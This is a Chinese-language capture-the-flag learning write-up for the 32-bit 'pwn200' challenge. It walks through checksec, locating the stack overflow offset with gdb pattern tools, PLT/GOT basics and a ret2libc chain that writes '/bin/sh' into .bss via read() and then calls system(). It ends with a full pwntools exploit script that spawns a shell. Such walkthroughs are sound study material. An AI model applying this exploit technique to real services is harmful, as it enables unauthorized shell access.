pwn学习系列--任务4 pwn200
栈溢出之pwn200解题步骤
主要涉及到Ret2libc–修改返回地址,让其指向内存中已有的某个函数,以及初步构造rop( Return Oriented Programming )
思路分析:有read函数,变量buf大小为0x68,read可写入0x100,可知有栈溢出。题目中只给出system函数,没有给出"/bin/sh",所以要自己通过read函数写入"/bin/sh",然后返回调用system函数。
0x01 查看题目信息,可知文件是32位
0x02 checksec 检查可执行文件属性
gdb pwn200
checksec
可以看到pwn200没有开启各种保护,RELRO为” Partial”,对GOT表具有写权限。
补充一下checksec相关知识:
1.canary,栈保护功能
2.fortify,判断程序哪些buffer会存在可能的溢出
3.nx,将数据所在内存页标识为不可执行
4.pie(aslr),内存地址随机化机制
5.relro,设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号
具体的可看下面链接
https://blog.csdn.net/Kelly_Young/article/details/82791248)
https://blog.csdn.net/axiejundong/article/details/73065023
0x03 ida静态分析
首先F5键对main函数反编译 ,并查看buf和read函数,变量buf大小为0x68,read可写入0x100。
0x04 查找溢出点
gdb中执行以下命令,并copy刚生成的200个字符,run后paste
pattern create 200
r
查看到溢出点位置0x41384141,并算出需要填充padding大小为112(0x70)
pattern offset 0x41384141
0x05 利用read函数写入"/bin/sh",调用system()
问题1:将‘/bin/sh’写到那里?
linux程序执行时,能够分为下面几个内存段:
①bss段
通常指用来存放程序中未初始化的全局变量和静态变量的一块内存区域,可读写的,在程序执行之前BSS段会自动清0。
②data段
该段用于存储初始化的全局变量,初始化为0的全局变量出于编译优化的策略被保存在BSS段。
③ro段
常量区,用于存放常量数据
④text段
用于存放程序代码的
⑤stack段
栈段,常说的堆栈段之中的一个,由系统负责申请释放
⑥heap段
俗称的堆,由用户申请和释放。申请时至少分配虚存,当真正存储数据时才分配对应的实存,释放时也并不是马上释放实存,而是可能被反复利用。
问题2:bss段地址多少?
用命令readelf -a filename | grep bss查看
readelf -a pwn200 | grep bss
得到bss地址为0x0804a040
问题3:如何利用read函数将"/bin/sh"写入bss段?写入后返回到那里?
补充知识点1,read函数有三个参数,第一个指向要写入的文件,第二个是数据写入到那里的位置,第三个是写入数据的大小。
补充知识点2,linux采用延迟绑定技术,程序加载时会生成一个plt表和got表,got表中存的是库函数真实地址的映射,函数执行时会跳转到真正的地址上去,plt表是linux为了提升运行效率而产生的一个表,通过这个表,就可以link到got表,进而执行函数。其实有点c语言里面指针的感觉。下图有助于理解:
写入后返回到system函数的plt地址,从而执行system("/bin/sh"),利用elf格式文件可以获取函数plt地址,例如:
elf.symbols['system']
elf.plt['read']
利用read函数写入"/bin/sh"的重点是构造这个payload模块:
padding1 + address of read + address of system + p32(0)+p32(addr_bss)+p32(10)
其中,address of system为read函数调用完后的返回地址,p32(0),p32(addr_bss),p32(10)为传给read函数的三个参数,p32(addr_bss)将存入"/bin/sh\x00"。
更多有关payload构造原理,可以参考长亭技术的详解
https://zhuanlan.zhihu.com/p/25816426#
这里具体构造如下:
offset=0x70
addr_bss=0x0804a040
payload = offset * 'a'
payload += p32(elf.plt['read'])
payload += p32(elf.symbols['system'])
payload += p32(0)
payload += p32(addr_bss)
payload += p32(10)
将"/bin/sh\x00"写入后,程序跳转执行system()函数,此时需要传入参数"/bin/sh\x00"才能执行system("/bin/sh"),所以要构造一个pay:
pay = p32(0xdeadbeef)
pay += p32(addr_bss)
0xdeadbeef表示system执行完后的返回地址,这里随便造一个。
0x06 完整的exp
from pwn import *
context(os='linux', arch='i386', log_level='debug')
elf = ELF('./pwn200')
p = process('./pwn200')
offset=0x70
addr_bss=0x0804a040
payload = offset * 'a'
payload += p32(elf.plt['read'])
payload += p32(elf.symbols['system'])
payload += p32(0)
payload += p32(addr_bss)
payload += p32(10)
pay = p32(0xdeadbeef)
pay += p32(addr_bss)
p.recvuntil("ci try\n") #这个不能少
p.send(payload)
p.send('/bin/sh\x00') #注入bin/sh/到bss段
sleep(2)
p.send(pay) #发送system参数地址
p.interactive()
执行结果:
结果显示拿到shell,要学习的知识有很多,努力!
贴一个栈溢出相关的链接,看完应该有所帮助
https://blog.csdn.net/qq_42192672/article/details/83023746
推荐阅读
-
pwn学习系列--任务4 pwn200
-
hello_pwn [XCTF-PWN]CTF writeup系列4
-
PHP任务学习4:认识并使用PHP超级全局变量_PHP教程
-
OO_BLOG4_UML系列学习
-
Linux计划任务Crontab学习笔记(4):crontab 的日志
-
Linux计划任务Crontab学习笔记(4):crontab 的日志
-
高性能Web动画和渲染原理系列(4)“Compositor-Pipeline演讲PPT”学习摘要
-
PX4代码学习系列博客(3)——px4固件目录结构和代码风格
-
从 0 开始学习 Linux 系列之「04.安装 4 个必备的 vim 插件」
-
荐 JavaScript的事件系列二keydown,keypress,获取键码------JavaScript学习之路4